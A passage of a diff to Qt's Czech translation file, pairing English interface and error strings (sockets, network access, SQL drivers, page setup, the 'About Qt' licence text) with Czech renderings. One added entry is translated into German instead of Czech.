href="http://qt.nokia.com/">qt.nokia.com</a> for more information.</p>
+        <p>Qt je sadou softwarových nástrojů C++ určených pro vývoj aplikací napříč platformami.</p><p>Qt poskytuje jednoduchou přenositelnost přes MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, a všechny hlavní obchodní varianty systému Unix. Qt je rovněž dostupný pro vložená zařízení jako Qt pro Embedded Linux a Qt pro Windows CE.</p><p>Qt je dostupné pod třemi rozdílnými licenčními volbami navrženými pro přizpůsobení se potřebám našich různých uživatelů.</p>Qt licencované pod naší obchodní licenční smlouvou je vhodné pro vývoj soukromého/obchodního software, kde si nepřejete sdílet jakýkoli zdrojový kód se třetími stranami, nebo jinak řečeno, když nemůžete vyhovět podmínkám GNU LGPL ve verzi 2.1 nebo GNU GPL ve verzi 3.0.</p><p>Qt licencované pod GNU LGPL ve verzi 2.1 je vhodné pro vývoj Qt aplikací (soukromých nebo s otevřeným zdrojovým kódem), za předpokladu že můžete souhlasit s požadavky a podmínkami GNU LGPL version 2.1.</p><p>Qt licencované pod GNU General Public License ve verzi 3.0 je vhodné pro vývoj aplikací Qt, u nichž si přejete použít takovou aplikaci ve spojení se software, který podléhá požadavkům GNU GPL ve verzi 3.0, nebo kde jste jinak ochoten souhlasit s podmínkami GNU GPL ve verzi 3.0.</p><p>Podívejte se, prosím, na <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> kvůli přehledu licencování Qt.</p><p>Autorské právo (C) 2010 Nokia Corporation a/nebo její dceřinná(é) společnost(i).</p><p>Qt je výrobkem společnosti Nokia. Podívejte se na <a href="http://qt.nokia.com/">qt.nokia.com</a>kvůli více informacím.</p>
+    
+    
+        <h3>About Qt</h3><p>This program uses Qt version %1.</p><p>Qt is a C++ toolkit for cross-platform application development.</p><p>Qt provides single-source portability across MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.</p><p>Qt is available under three different licensing options designed to accommodate the needs of our various users.</p>Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.</p><p>Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.</p><p>Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.</p><p>Please see <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> for an overview of Qt licensing.</p><p>Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).</p><p>Qt is a Nokia product. See <a href="http://qt.nokia.com/">qt.nokia.com</a> for more information.</p>
+        <h3>O Qt</h3><p>Tento program používá Qt ve verzi %1.</p><p>Qt je sadou softwarových nástrojů C++ určených pro vývoj aplikací napříč platformami.</p><p>Qt poskytuje jednoduchou přenositelnost přes MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, a všechny hlavní obchodní varianty systému Unix. Qt je rovněž dostupný pro vložená zařízení jako Qt pro Embedded Linux a Qt pro Windows CE.</p><p>Qt je dostupné pod třemi rozdílnými licenčními volbami navrženými pro přizpůsobení se potřebám našich různých uživatelů.</p>Qt licencované pod naší obchodní licenční smlouvou je vhodné pro vývoj soukromého/obchodního software, kde si nepřejete sdílet jakýkoli zdrojový kód se třetími stranami, nebo jinak řečeno, když nemůžete vyhovět podmínkám GNU LGPL ve verzi 2.1 nebo GNU GPL ve verzi 3.0.</p><p>Qt licencované pod GNU LGPL ve verzi 2.1 je vhodné pro vývoj Qt aplikací (soukromých nebo s otevřeným zdrojovým kódem), za předpokladu že můžete souhlasit s požadavky a podmínkami GNU LGPL version 2.1.</p><p>Qt licencované pod GNU General Public License ve verzi 3.0 je vhodné pro vývoj aplikací Qt, u nichž si přejete použít takovou aplikaci ve spojení se software, který podléhá požadavkům GNU GPL ve verzi 3.0, nebo kde jste jinak ochoten souhlasit s podmínkami GNU GPL ve verzi 3.0.</p><p>Podívejte se, prosím, na <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> kvůli přehledu licencování Qt.</p><p>Copyright (C) 2009 Nokia Corporation a/nebo její dceřinná(é) společnost(i).</p><p>Qt je výrobkem společnosti Nokia. Podívejte se na <a href="http://qt.nokia.com/">qt.nokia.com</a>kvůli více informacím.</p>
+    
+    
+        Show Details...
+        Ukázat podrobnosti...
+    
+    
+        <h3>About Qt</h3><p>This program uses Qt version %1.</p>
+        <h3>O Qt</h3><p>Tento program používá Qt-verze %1.</p>
+    
+    
+        <p>Qt is a C++ toolkit for cross-platform application development.</p><p>Qt provides single-source portability across MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.</p><p>Qt is available under three different licensing options designed to accommodate the needs of our various users.</p><p>Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.</p><p>Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.</p><p>Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.</p><p>Please see <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> for an overview of Qt licensing.</p><p>Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).</p><p>Qt is a Nokia product. See <a href="http://qt.nokia.com/">qt.nokia.com</a> for more information.</p>
+        <p>Qt je sadou softwarových nástrojů C++ určených pro vývoj aplikací napříč platformami.</p><p>Qt poskytuje jednoduchou přenositelnost přes MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, a všechny hlavní obchodní varianty systému Unix. Qt je rovněž dostupný pro vložená zařízení jako Qt pro Embedded Linux a Qt pro Windows CE.</p><p>Qt je dostupné pod třemi rozdílnými licenčními volbami navrženými pro přizpůsobení se potřebám našich různých uživatelů.</p>Qt licencované pod naší obchodní licenční smlouvou je vhodné pro vývoj soukromého/obchodního software, kde si nepřejete sdílet jakýkoli zdrojový kód se třetími stranami, nebo jinak řečeno, když nemůžete vyhovět podmínkám GNU LGPL ve verzi 2.1 nebo GNU GPL ve verzi 3.0.</p><p>Qt licencované pod GNU LGPL ve verzi 2.1 je vhodné pro vývoj Qt aplikací (soukromých nebo s otevřeným zdrojovým kódem), za předpokladu že můžete souhlasit s požadavky a podmínkami GNU LGPL version 2.1.</p><p>Qt licencované pod GNU General Public License ve verzi 3.0 je vhodné pro vývoj aplikací Qt, u nichž si přejete použít takovou aplikaci ve spojení se software, který podléhá požadavkům GNU GPL ve verzi 3.0, nebo kde jste jinak ochoten souhlasit s podmínkami GNU GPL ve verzi 3.0.</p><p>Podívejte se, prosím, na <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> kvůli přehledu licencování Qt.</p><p>Copyright (C) 2009 Nokia Corporation a/nebo její dceřinná(é) společnost(i).</p><p>Qt je výrobkem společnosti Nokia. Podívejte se na <a href="http://qt.nokia.com/">qt.nokia.com</a>kvůli více informacím.</p>
+    
+    
+        About Qt
+        O Qt
+    
+    
+        <p>This program uses Qt Open Source Edition version %1.</p><p>Qt Open Source Edition is intended for the development of Open Source applications. You need a commercial Qt license for development of proprietary (closed source) applications.</p><p>Please see <a href="http://www.trolltech.com/company/model/">www.trolltech.com/company/model/</a> for an overview of Qt licensing.</p>
+        <p>Tento program používá Qt Open Source Edition verze %1.</p><p>Qt Open Source Edition je zamýšlena pro vývoj Open Source aplikací. Pro vývoj vlastnických aplikací (uzavřené zdrojové kódy) potřebujete Qt licenci.</p><p>Podívejte se, prosím, na <a href="http://www.trolltech.com/company/model/">www.trolltech.com/company/model/</a> kvůli přehledu licencování Qt.</p>
+    
+    
+        Hide Details...
+        Skrýt podrobnosti...
+    
+    
+        <p>This program uses Qt version %1.</p>
+        <p>Tento program používá Qt-verze %1.</p>
+    
+
+
+    QMultiInputContext
+    
+        Select IM
+        Zvolit způsob vstupu
+    
+
+
+    QMultiInputContextPlugin
+    
+        Multiple input method switcher that uses the context menu of the text widgets
+        Přepínač pro více způsobů vstupu, který používá související nabídku textového prvku
+    
+    
+        Multiple input method switcher
+        Přepínač pro více způsobů vstupu
     
 
 
-    QHttpSocketEngine
+    QNativeSocketEngine
     
-        
-        Proxy connection refused
-        Proxy server odmítl navázání spojení
+        The proxy type is invalid for this operation
+        Tuto operaci nelze s tímto typem proxy provést
     
     
-        
-        Proxy denied connection
-        Proxy server odmítl spojení
+        Network operation timed out
+        Časový limit pro síťovou operaci byl překročen
     
     
-        
-        Proxy server not found
-        Nepodařilo se najít žádný proxy server
+        The remote host closed the connection
+        Vzdálený počítač uzavřel spojení
     
     
-        
-        Proxy server connection timed out
-        Při spojení s proxy serverem byl překročen časový limit
+        Invalid socket descriptor
+        Neplatný deskriptor zásuvky (socketu)
     
     
-        
-        Did not receive HTTP response from proxy
-        Žádná HTTP odpověď od proxy serveru
+        Host unreachable
+        Cílový počítač je nedosažitelný
     
     
-        
-        Proxy connection closed prematurely
-        Proxy server předčasně ukončil spojení
+        Protocol type not supported
+        Protokol tohoto typu není podporován
     
     
-        
-        Error communicating with HTTP proxy
-        Chyba při spojení s proxy serverem
+        Datagram was too large to send
+        Datagram byl pro odeslání příliš veliký
     
     
-        
-        Authentication required
-        Požadována autentizace
+        Attempt to use IPv6 socket on a platform with no IPv6 support
+        Vyzkoušelo se použít IPv6 zásuvku (socket) na systému bez podpory IPv6
     
     
-        
-        Error parsing authentication request from proxy
-        Chyba při vyhodnocení autentizačního požadavku proxy serveru
+        Unable to receive a message
+        Zprávu se nepodařilo přijmout
     
-
-
-    QIBaseDriver
     
-        
-        Unable to commit transaction
-        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
+        Permission denied
+        Přístup odepřen
     
     
-        
-        Could not start transaction
-        Nepodařilo se spustit žádnou transakci
+        Connection refused
+        Spojení bylo odmítnuto
     
     
-        
-        Error opening database
-        Nepodařilo se otevřít spojení s databází
+        Unable to write
+        Nepodařilo se zapsat
     
     
-        
-        Unable to rollback transaction
-        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
+        Another socket is already listening on the same port
+        Na tomto portu již naslouchá jiná zásuvka (socket)
     
-
-
-    QIBaseResult
     
-        
-        Unable to commit transaction
-        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
+        Unable to send a message
+        Nepodařilo se odeslat hlášení
     
     
-        
-        Unable to open BLOB
-        Nepodařilo se otevřít BLOB
+        The bound address is already in use
+        Uvedená adresa se už používá
     
     
-        
-        Could not describe statement
-        Nepodařilo se získat žádný popis příkazu
+        Connection timed out
+        Časový limit pro spojení byl překročen
     
     
-        
-        
-        Could not describe input statement
-        Nepodařilo se získat žádný popis vstupního příkazu
+        Network error
+        Síťová chyba
     
     
-        
-        Could not allocate statement
-        Přidělení příkazu se nezdařilo
+        Unsupported socket operation
+        Nepodporovaná zásuvková operace (povel pro socket)
     
     
-        
-        Unable to write BLOB
-        Nepodařilo se zapsat BLOB
+        Operation on non-socket
+        Operaci lze použít pouze na jedné zásuvce (socketu)
     
     
-        
-        Could not start transaction
-        Nepodařilo se spustit žádnou transakci
+        Unable to initialize broadcast socket
+        Zásuvku pro vysílání (socket) se nepodařilo spustit
     
     
-        
-        Unable to close statement
-        Příkaz se nepodařilo zavřít
+        Unknown error
+        Neznámá chyba
     
     
-        
-        Could not get query info
-        Požadované informace k vyhledávání nejsou k dispozici
+        Unable to initialize non-blocking socket
+        Neblokující zásuvku (socket) se nepodařilo spustit
     
     
-        
-        
-        Could not find array
-        Nepodařilo se najít pole
+        The address is protected
+        Adresa je chráněna
     
     
-        
-        Could not get array data
-        Nepodařilo se přečíst data pole
+        Network unreachable
+        Síť je nedosažitelná
     
     
-        
-        Unable to execute query
-        Dotaz se nepodařilo provést
+        The address is not available
+        Adresa není dostupná
     
     
-        
-        Could not prepare statement
-        Příkaz se nepodařilo připravit
+        Out of resources
+        Nejsou dostupné žádné zdroje
     
+
+
+    QNetworkAccessCacheBackend
     
-        
-        Could not fetch next item
-        Další prvek se nepodařilo vyzvednout
+        Error opening %1
+        %1 se nepodařilo otevřít
     
+
+
+    QNetworkAccessDataBackend
     
-        
-        Could not get statement info
-        K dispozici není žádná informace k příkazu
+        Operation not supported on %1
+        Tato operace není %1 podporována
     
     
-        
-        Unable to create BLOB
-        Nepodařilo se vytvořit žádný BLOB
+        Invalid URI: %1
+        Neplatný URI: %1
     
+
+
+    QNetworkAccessDebugPipeBackend
     
-        
-        Unable to read BLOB
-        BLOB se nepodařilo přečíst
+        Write error writing to %1: %2
+        Při zápisu do souboru %1: %2 nastala chyba
+    
+    
+        Socket error on %1: %2
+        Chyba zásuvky (socketu) u %1: %2
+    
+    
+        Remote host closed the connection prematurely on %1
+        Vzdálený počítač předčasně ukončil spojení s %1
     
 
 
-    QIODevice
+    QNetworkAccessFileBackend
     
-        
-        No such file or directory
-        Nepodařilo se najít žádný takový soubor nebo adresář
+        Request for opening non-local file %1
+        Požadavek na otevření souboru přes síť %1
     
     
-        
-        Permission denied
-        Přístup odepřen
+        Read error reading from %1: %2
+        Při čtení ze souboru %1 nastala chyba: %2
     
     
-        
-        No space left on device
-        Na zařízení není žádný volný úložný prostor
+        Cannot open %1: Path is a directory
+        %1 nelze otevřít: Jedná se o adresář
     
     
-        
-        Unknown error
-        Neznámá chyba
+        Error opening %1: %2
+        %1 se nepodařilo otevřít: %2
     
     
-        
-        Too many open files
-        Příliš mnoho otevřených souborů
+        Write error writing to %1: %2
+        Při zápisu do souboru %1: %2 nastala chyba
     
 
 
-    QInputContext
+    QNetworkAccessFtpBackend
     
-        
-        XIM
-        XIM
+        No suitable proxy found
+        Nepodařilo se najít žádný vhodný proxy server
     
     
-        
-        FEP
-        FEP
+        Error while downloading %1: %2
+        Při stahování %1 se vyskytla chyba: %2
     
     
-        
-        Windows input method
-        Windows-vstupní metoda
+        Error while uploading %1: %2
+        Při nahrávání %1 se vyskytla chyba: %2
     
     
-        
-        S60 FEP input method
-        S60 FEP-vstupní metoda
+        Cannot open %1: is a directory
+        %1 nelze otevřít: Jedná se o adresář
     
     
-        
-        XIM input method
-        XIM-vstupní metoda
+        Logging in to %1 failed: authentication required
+        Přihlášení do %1 se nezdařilo: Je požadována autentizace
+    
+
+
+    QNetworkAccessHttpBackend
+    
+        No suitable proxy found
+        Nepodařilo se najít žádný vhodný proxy server
     
+
+
+    QNetworkAccessManager
     
-        
-        Mac OS X input method
-        Mac OS X-vstupní metoda
+        Network access is disabled.
+        Přístup k síti není dovolen.
     
 
 
-    QInputDialog
+    QNetworkReply
     
-        
-        Enter a value:
-        Zadejte hodnotu:
+        Error downloading %1 - server replied: %2
+        Beim Herunterladen von %1 trat ein Fehler auf - Die Antwort des Servers ist: %2
+    
+    
+        Protocol "%1" is unknown
+        Protokol "%1" není znám
+    
+    
+        Network session error.
+        Chyba při spojení přes síť.
+    
+    
+        Temporary network failure.
+        Síť dočasně vypadla.
     
 
 
-    QLibrary
+    QNetworkReplyImpl
+    
+        Operation canceled
+        Operace byla zrušena
+    
+
+
+    QNetworkSession
+    
+        Invalid configuration.
+        Neplatné nastavení.
+    
+
+
+    QNetworkSessionPrivateImpl
+    
+        Roaming error
+        Chyba při toulání se (roaming)
+    
+    
+        Session aborted by user or system
+        Spojení bylo zrušeno buď uživatelem nebo operačním systémem
+    
+    
+        The specified configuration cannot be used.
+        Zadané nastavení nelze použít.
+    
+    
+        Unidentified Error
+        Neznámá chyba
+    
+    
+        Unknown session error.
+        Neznámá chyba při spojení přes síť.
+    
+    
+        The session was aborted by the user or system.
+        Spojení bylo zrušeno buď uživatelem nebo operačním systémem.
+    
+    
+        The requested operation is not supported by the system.
+        Požadovaná operace není systémem podporována.
+    
+    
+        Roaming was aborted or is not possible.
+        Toulání se (roaming) bylo buď zrušeno, nebo zde není možné.
+    
+
+
+    QOCIDriver
+    
+        Unable to commit transaction
+        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
+    
+    
+        Unable to initialize
+        Inicializace se nezdařila
+    
+    
+        Unable to logon
+        Přihlášení se nezdařilo
+    
     
-        
-        Could not unmap '%1': %2
-        Operace unmap, zrušit zobrazení, se nezdařila u '%1': %2
+        Unable to rollback transaction
+        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
     
     
-        
-        
-        Cannot unload library %1: %2
-        Knihovnu %1 nelze vyjmout: %2
+        Unable to begin transaction
+        Transakci se nepodařilo spustit
     
     
-        
-        
-        Cannot load library %1: %2
-        Knihovnu %1 nelze nahrát: %2
+        Unable to initialize
+        QOCIDriver
+        Spuštění se nezdařilo
     
+
+
+    QOCIResult
     
-        
-        The plugin '%1' uses incompatible Qt library. (%2.%3.%4) [%5]
-        Přídavný modul '%1' používá neslučitelnou Qt knihovnu. (%2.%3.%4) [%5]
+        Unable to alloc statement
+        Přidělení příkazu se nepodařilo
     
     
-        
-        
-        Cannot resolve symbol "%1" in %2: %3
-        Symbol "%1" nelze v %2 vyřešit: %3
+        Unable to goto next
+        Nelze jít k dalšímu prvku
     
     
-        
-        Plugin verification data mismatch in '%1'
-        Ověřovací data přídavného nesouhlasí v '%1'
+        Unable to get statement type
+        Nepodařilo se získat typ příkazu
     
     
-        
-        The plugin '%1' uses incompatible Qt library. (Cannot mix debug and release libraries.)
-        Přídavný modul '%1' používá neslučitelnou Qt knihovnu. (Knihovny vytvořené v režimu ladění a vydání nemohou být používány společně.)
+        Unable to execute statement
+        Příkaz se nepodařilo provést
     
     
-        
-        The file '%1' is not a valid Qt plugin.
-        Soubor '%1' není platným přídavným modulem Qt.
+        Unable to bind column for batch execute
+        Nepodařilo se spojit sloupec pro provedení příkazu dávkového zpracování
     
     
-        
-        
-        The shared library was not found.
-        Nepodařilo se nalézt sdílenou knihovnu.
+        Unable to execute select statement
+        Výběrové vyhledávání se nepodařilo provést
     
     
-        
-        Unknown error
-        Neznámá chyba
+        Unable to prepare statement
+        Příkaz se nepodařilo připravit
     
     
-        
-        The plugin '%1' uses incompatible Qt library. Expected build key "%2", got "%3"
-        Přídavný modul '%1' používá neslučitelnou Qt knihovnu. Potřebný byl zvláštní klíč pro sestavení "%2", obdržen "%3"
+        Unable to execute batch statement
+        Příkaz pro dávkové zpracování se nepodařilo provést
     
     
-        
-        Could not mmap '%1': %2
-        Operace mmap se nezdařila u '%1': %2
+        Unable to bind value
+        Hodnotu se nepodařilo spojit
     
 
 
-    QLineEdit
+    QODBCDriver
     
-        
-        Cu&t
-        &Vyjmout
+        Unable to commit transaction
+        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
     
     
-        
-        &Copy
-        &Kopírovat
+        Unable to enable autocommit
+        'autocommit' se nepodařilo povolit
     
     
-        
-        &Redo
-        &Znovu
+        Unable to connect - Driver doesn't support all needed functionality
+        Nepodařilo se navázat spojení, protože ovladač nutnou funkcionalitu plně nepodporuje
     
     
-        
-        &Undo
-        &Zpět
+        Unable to disable autocommit
+        'autocommit', automatické odeslání, se nepodařilo zastavit
     
     
-        
-        &Paste
-        &Vložit
+        Unable to connect
+        Nepodařilo se navázat spojení
     
     
-        
-        Delete
-        Smazat
+        Unable to connect - Driver doesn't support all functionality required
+        Nepodařilo se navázat spojení, protože ovladač nutnou funkcionalitu plně nepodporuje
     
     
-        
-        Select All
-        Vybrat vše
+        Unable to rollback transaction
+        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
     
 
 
-    QLocalServer
-    
-        
-        
-        %1: Name error
-        %1: Chybný název
-    
-    
-        
-        %1: Unknown error %2
-        %1: Neznámá chyba %2
-    
+    QODBCResult
     
-        
-        %1: Permission denied
-        %1: Přístup odepřen
+        Unable to bind variable
+        Proměnnou se nepodařilo provést
     
     
-        
-        %1: Address in use
-        %1: Adresa se již používá
+        Unable to execute statement
+        Příkaz se nepodařilo provést
     
-
-
-    QLocalSocket
     
-        
-        
-        
-        %1: Connection error
-        %1: Chyba spojení
+        Unable to fetch next
+        Další datový záznam se nepodařilo natáhnout
     
     
-        
-        
-        %1: Connection refused
-        %1: Spojení bylo odmítnuto
+        Unable to fetch last
+        Poslední datový záznam se nepodařilo natáhnout
     
     
-        
-        
-        %1: Unknown error %2
-        %1: Neznámá chyba %2
+        Unable to prepare statement
+        Příkaz se nepodařilo spustit
     
     
-        
-        
-        %1: Socket access error
-        %1: Chyba při přístupu k zásuvce (socketu)
+        Unable to fetch previous
+        Předchozí datový záznam se nepodařilo natáhnout
     
     
-        
-        
-        %1: Socket resource error
-        %1: Chyba zásuvky (socketu) - potíže se zdrojem
+        Unable to fetch
+        Nepodařilo se natáhnout žádná data
     
     
-        
-        
-        %1: The socket operation is not supported
-        %1: Tato operace se zásuvkou (socketem) není podporována
+        QODBCResult::reset: Unable to set 'SQL_CURSOR_STATIC' as statement attribute. Please check your ODBC driver configuration
+        QODBCResult::reset: 'SQL_CURSOR_STATIC' se nepodařilo nastavit jako příkaz vlastnosti . Ověřte, prosím, nastavení svého ODBC ovladače
     
     
-        
-        
-        
-        
-        %1: Invalid name
-        %1: Neplatný název
+        Unable to fetch first
+        První datový záznam se nepodařilo natáhnout
     
+
+
+    QObject
     
-        
-        %1: Unknown error
-        %1: Neznámá chyba
+        Invalid hostname
+        Neplatný název pro hostitelský počítač
     
     
-        
-        
-        %1: Socket operation timed out
-        %1: Překročení času při operaci se zásuvkou (socketem)
+        Home
+        Home
     
     
-        
-        
-        %1: Datagram too large
-        %1: Datagram je příliš veliký
+        Protocol error: packet of size 0 received
+        Chyba v zápisu: Byl přijat paket o nulové velikosti
     
     
-        
-        
-        %1: Remote closed
-        %1: Spojení bylo protější stranou uzavřeno
+        Invalid URI: %1
+        Neplátná URI: %1
     
-
-
-    QMYSQLDriver
     
-        
-        Unable to commit transaction
-        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
+        Socket error on %1: %2
+        Chyba zásuvky (socketu) u %1: %2
     
     
-        
-        Unable to open database '
-        Nepodařilo se otevřít spojení s databází '
+        No host name given
+        Nebyl zadán název pro hostitelský počítač
     
     
-        
-        Unable to connect
-        Nepodařilo se navázat spojení
+        Read error reading from %1: %2
+        Při čtení ze souboru %1 nastala chyba: %2
     
     
-        
-        Unable to rollback transaction
-        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
+        Remote host closed the connection prematurely on %1
+        Vzdálený počítač předčasně ukončil spojení s %1
     
     
-        
-        Unable to begin transaction
-        Transakci se nepodařilo spustit
+        Operation not supported on %1
+        Tato operace není %1 podporována
     
-
-
-    QMYSQLResult
     
-        
-        Unable to execute statement
-        Příkaz se nepodařilo provést
+        Write error writing to %1: %2
+        Při zápisu do souboru %1: %2 nastala chyba
     
     
-        
-        Unable to store statement results
-        Výsledky příkazu se nepodařilo uložit
+        PulseAudio Sound Server
+        Zvukový server PulseAudio
     
     
-        
-        Unable to execute next query
-        Další dotaz nelze provést
+        "%1" duplicates a previous role name and will be disabled.
+        "%1" je již zadán jako název předchozí úlohy, a je proto vypnut.
     
     
-        
-        
-        Unable to bind outvalues
-        Výstupní hodnoty se nepodařilo spojit
+        invalid query: "%1"
+        Neplátný dotaz: "%1"
     
+
+
+    QPPDOptionsModel
     
-        
-        Unable to store next result
-        Další výsledek nelze uložit
+        Name
+        Název
     
     
-        
-        Unable to fetch data
-        Nepodařilo se natáhnout žádná data
+        Value
+        Hodnota
     
+
+
+    QPSQLDriver
     
-        
-        
-        Unable to prepare statement
-        Příkaz se nepodařilo připravit
+        Unable to subscribe
+        Registrace se nezdařila
     
     
-        
-        Unable to store result
-        Výsledek se nepodařilo uložit
+        Could not begin transaction
+        Transakci se nepodařilo spustit
     
     
-        
-        Unable to bind value
-        Hodnotu se nepodařilo spojit
+        Could not rollback transaction
+        Transakci se nepodařilo zvrátit (operace 'rollback', zvrácení, se nezdařila)
     
     
-        
-        Unable to execute query
-        Dotaz se nepodařilo provést
+        Could not commit transaction
+        Transakci se nepodařilo provést (operace 'commit', odeslání, se nezdařila)
     
     
-        
-        Unable to reset statement
-        Příkaz se nepodařilo znovu nastavit
+        Unable to connect
+        Nepodařilo se navázat spojení
     
-
-
-    QMdiArea
     
-        
-        (Untitled)
-        (Bez názvu)
+        Unable to unsubscribe
+        Registraci se nepodařilo zrušit
     
 
 
-    QMdiSubWindow
+    QPSQLResult
     
-        
-        Help
-        Nápověda
+        Unable to prepare statement
+        Příkaz se nepodařilo připravit
     
     
-        
-        Menu
-        Menu
+        Unable to create query
+        Nepodařilo se vytvořit žádný dotaz
     
+
+
+    QPageSetupWidget
     
-        
-        &Move
-        Po&sunout
+        Form
+        Formulář
     
     
-        
-        &Size
-        Změnit &velikost
+        bottom margin
+        Dolní okraj
     
     
-        
-        Close
-        Zavřít
+        Paper
+        Papír
     
     
-        
-        Minimize
-        Zmenšit
+        Paper source:
+        Zdroj papíru:
     
     
-        
-        Shade
-        Navinout
+        Centimeters (cm)
+        Centimetry (cm)
     
     
-        
-        Stay on &Top
-        Zůstat v &popředí
+        right margin
+        Pravý okraj
     
     
-        
-        &Close
-        &Zavřít
+        Margins
+        Okraje
     
     
-        
-        - [%1]
-        - [%1]
+        Landscape
+        Formát na šířku
     
     
-        
-        %1 - [%2]
-        %1 - [%2]
+        Width:
+        Šířka:
     
     
-        
-        &Restore
-        &Obnovit
+        Orientation
+        Zaměření
     
     
-        
-        Restore
-        Obnovit
+        Portrait
+        Formát na výšku
     
     
-        
-        Maximize
-        Zvětšit
+        top margin
+        Horní okraj
     
     
-        
-        Unshade
-        Odvinout
+        left margin
+        Levý okraj
     
     
-        
-        Mi&nimize
-        Zmen&šit
+        Page size:
+        Velikost stran:
     
     
-        
-        Ma&ximize
-        Zvě&tšit
+        Reverse portrait
+        Obrácený formát na výšku
     
     
-        
-        Restore Down
-        Obnovit
+        Millimeters (mm)
+        Milimetry (mm)
     
-
-
-    QMenu
     
-        
-        
-        Open
-        Otevřít
+        Points (pt)
+        Body (pt)
     
     
-        
-        
-        Close
-        Zavřít
+        Inches (in)
+        Palce (in)
     
     
-        
-        
-        
-        Execute
-        Provést
+        Reverse landscape
+        Obrácený formát na šířku
     
-
-
-    QMenuBar
     
-        
-        Actions
-        Činnosti
+        Height:
+        Výška:
     
 
 
-    QMessageBox
+    QPluginLoader
     
-        
-        
-        
-        
-        OK
-        OK
+        The plugin was not loaded.
+        Přídavný modul nebyl nahrán.
     
     
-        
-        Help
-        Nápověda
+        Unknown error
+        Neznámá chyba
     
+
+
+    QPrintDialog
     
-        <h3>About Qt</h3><p>This program uses Qt version %1.</p><p>Qt is a C++ toolkit for cross-platform application development.</p><p>Qt provides single-source portability across MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.</p><p>Qt is available under three different licensing options designed to accommodate the needs of our various users.</p>Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.</p><p>Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.</p><p>Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.</p><p>Please see <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> for an overview of Qt licensing.</p><p>Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).</p><p>Qt is a Nokia product. See <a href="http://qt.nokia.com/">qt.nokia.com</a> for more information.</p>
-        <h3>O Qt</h3><p>Tento program používá Qt ve verzi %1.</p><p>Qt je sadou softwarových nástrojů C++ určených pro vývoj aplikací napříč platformami.</p><p>Qt poskytuje jednoduchou přenositelnost přes MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, a všechny hlavní obchodní varianty systému Unix. Qt je rovněž dostupný pro vložená zařízení jako Qt pro Embedded Linux a Qt pro Windows CE.</p><p>Qt je dostupné pod třemi rozdílnými licenčními volbami navrženými pro přizpůsobení se potřebám našich různých uživatelů.</p>Qt licencované pod naší obchodní licenční smlouvou je vhodné pro vývoj soukromého/obchodního software, kde si nepřejete sdílet jakýkoli zdrojový kód se třetími stranami, nebo jinak řečeno, když nemůžete vyhovět podmínkám GNU LGPL ve verzi 2.1 nebo GNU GPL ve verzi 3.0.</p><p>Qt licencované pod GNU LGPL ve verzi 2.1 je vhodné pro vývoj Qt aplikací (soukromých nebo s otevřeným zdrojovým kódem), za předpokladu že můžete souhlasit s požadavky a podmínkami GNU LGPL version 2.1.</p><p>Qt licencované pod GNU General Public License ve verzi 3.0 je vhodné pro vývoj aplikací Qt, u nichž si přejete použít takovou aplikaci ve spojení se software, který podléhá požadavkům GNU GPL ve verzi 3.0, nebo kde jste jinak ochoten souhlasit s podmínkami GNU GPL ve verzi 3.0.</p><p>Podívejte se, prosím, na <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> kvůli přehledu licencování Qt.</p><p>Copyright (C) 